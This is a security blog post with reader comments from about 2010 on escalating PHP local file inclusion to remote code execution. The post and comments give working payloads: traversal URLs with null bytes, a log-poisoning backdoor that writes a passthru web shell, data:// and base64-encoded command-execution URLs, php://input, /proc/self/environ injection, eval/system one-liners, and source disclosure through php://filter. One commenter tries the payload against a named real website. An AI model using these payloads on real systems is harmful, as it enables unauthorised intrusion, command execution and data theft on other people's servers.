Micro PHP LFI Backdoor
I’ve been playing around a lot more with LFI attacks, because I think they’re more prevalent than I originally had expected. Last night I had cigars with one of the OWASP guys and I got to thinking that I should probably do a quick post about this. For those who aren’t clued in about LFI (local file include) attacks, it basically means that PHP is pulling in a file locally and running it (you see that happen a lot with flags like language=en where en represents a file called en.php). So an attack might look like:
http://www.example.com/index.php?language=../../../../../../etc/passwd%00
The null byte is to truncate anything at the end that the php file might be trying to append to the end of the file, like “.php” in “en.php” and so on. Although in that example password files aren’t PHP so it’s not helping you much beyond being able to read files off the file system. So the next step is finding the log files and injecting a PHP backdoor through a user agent or referring URL. There’s some problems with this depending on how you do it because Apache logs will escape quotes. Assuming you find a way around that (like using the error logs rather than the access logs) you can inject your PHP backdoor. Here’s my micro backdoor (thanks to Daniel Herrera for inspiration):
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>
So now what this does is throw a PHP file into the /tmp directory (which is typically writable). More importantly that file can now be used to inject commands directly (in the example below it’s executing whoami):
http://www.example.com/index.php?language=../../../../../../tmp/g%00&f=whoami
If anyone has shorter/more effective LFI backdoor, please let me know and I’ll post them.



January 28th, 2010 at 10:00 am
I have a pretty effective LFI backdoor which won’t require any file loading at all!
Taking advantage of PHP’s RFC 2397 support (http://php.net/manual/en/wrappers.data.php), you can inject the PHP code you want executed directly into the URL. With that said, using your above example:
http://www.example.com/index.php?language=data:,?&cmd=whoami
I’ve tested it out using several methods, including the support for base64 encoding:
http://www.example.com/index.php?language=data:;base64,PD8gZXhlYygkX0dFVFtjbWRdKTsgPz4=&cmd=whoami
Using the base64 encoding, you may be able to shorten your injection pending that they have size restrictions.
Also notice above, when using $_GET[cmd], there aren’t any quotes used. This still works effectively and it comes in handy if the server has magic_quotes enabled
January 28th, 2010 at 10:04 am
Looks as though the last post cut off parts of the query string (nice filter =P).
To see what the first URL included (after the data:, part), just base64 decode the second one. It has the exact same code in it.
January 28th, 2010 at 10:05 am
@newfurniturey - I think something in the first URL got snipped - you have to HTML encode angle brackets. But very cool!
January 28th, 2010 at 10:43 am
language=php://input
that’s cool as well.
no GET cmd footprint would be left in access_log
January 28th, 2010 at 10:52 am
@GaRY - right with something like php://filter/resource=http://www.hacker.com/ with your RFI backdoor. Clever.
January 28th, 2010 at 10:53 am
newfurniturey.. Nice find, clever use of base64 encoding too!
You mentioned something like this but… If you know the remote web server is running on *nix, you can set your user agent to be some arbitrary PHP code, then include ../../../proc/self/enviorn. This will render/exec your code because it displays your user agent environment variable passed to the webserver. With that obviously you can call system() and there’s your backdoor.
January 28th, 2010 at 10:53 am
If i understood, in the RSnake approach you first need to load the apache log containing the php code so it writes the /tmp file with the backdoor, right?
newfurniturey way is great too
January 28th, 2010 at 11:23 am
The idea of including a log file was discussed here:
http://ha.ckers.org/blog/20090128/remote-file-include-voodoo/
That said, null byte injection doesn’t work if magic_quotes_gpc is enabled. Of course, magic_quotes_gpc won’t even be supported in PHP6. Can’t the developers of the PHP language just, I dunno, make PHP filter out null bytes?
January 28th, 2010 at 1:44 pm
Quite surprised how many smarty based sites this works on.
January 28th, 2010 at 4:25 pm
Oops.. I should’ve mentioned what I talked about was already discussed (along with a few other interesting tricks) here:
http://www.ush.it/2008/08/18/lfi2rce-local-file-inclusion-to-remote-code-execution-advanced-exploitation-proc-shortcuts/
January 29th, 2010 at 6:32 am
@yawnmoth Ive asked that very same question every time I have come across a LFI
Id say use POST over GET, so it masks your requests. But remember your referral may need to be spoofed or masked.
January 29th, 2010 at 7:29 am
newfurniturey,
that not LFI, that RFI. Such self-conaned RFI described early here:
http://www.cr0w.ru/2009/03/self-contained-file-include-in-php-520.html
January 29th, 2010 at 3:12 pm
Technically, the method that I showed isn’t really including a file at all. It’s simply making use of the data wrappers that PHP supports. Of course, it’s exploiting the functions that include files, hence the “file inclusion” aspect.
The LFI vs. RFI argument doesn’t really matter in this case as they both involve “including files”, one locally and one remotely, and this doesn’t include one. If you were to really label it, however, I guess that yes it would be considered RFI because it’s including “data” remotely. The cr0w.ru page shows it pretty well too!
I especially like the php://filter/resource method outlined on that site, which was also noted above by GaRY! This method is more noticeably RFI though as it definitely includes a remote file =P
January 29th, 2010 at 4:37 pm
Re: including log files: <?php eval($_GET[’x']); ?> or <?php system($_GET[’x']); ?>
you can use $_POST or $_COOKIE if you don’t want to leave traces in the log file, and known variables/constants in place of ‘x’ if quotes are a problem, such as $_GET[PHP_VERSION].
January 30th, 2010 at 2:56 pm
It’s like this method does not work as expected most of the time. For example:
http://www.ferienwohnung-wacker.de/phpunity.newsmanager/phpunity-newsmanager/misc/tell_a_friend/tell.php?id=data:;base64,PD8gZXhlYygkX0dFVFtjbWRdKTsgPz4=&cmd=whoami
That fails. However:
http://www.ferienwohnung-wacker.de/phpunity.newsmanager/phpunity-newsmanager/misc/tell_a_friend/tell.php?id=../../../../../../../etc/passwd
That works. Moreover, I’ve tried it on a sample webpage with the following code:
It doesnt work in that page either. Whats the point im missing here?
Thanks
January 30th, 2010 at 3:01 pm
It’s like the blog is filtering out php code, the sample webpage im using at home to test is like this:
http://pastebin.com/m632c2378
February 3rd, 2010 at 3:21 pm
Has anyone used this to include php (or other) files that already exist on the server? Including a file from a locked down directory like example.com/admin/reset_password.php works pretty well
Usually locked down only by .htaccess which doesn’t have anything to do with the webserver accessing it for inclusion.
Including the admins index page would give you links to all the admin pages, reducing guess work.
For things like word press and the wp-admin index I am guessing this would be quite devastating.
February 4th, 2010 at 3:02 am
In which enviroment does the log including works? Because, as far as i know and test, you can not load the access.log because the www-data user from apache doesn’t have the permissions to read it. At least in Ubuntu.
February 17th, 2010 at 9:27 am
When php://input is restricted you can also use the php://filter method to at least retrieve the source code of the page to try and find other vulnerabilities to exploit.
http://diablohorn.wordpress.com/2010/01/16/interesting-local-file-inclusion-method/
you can retrieve the source like this:
http://www.somesite.com/?page=php://filter/convert.base64-encode/resource=in.php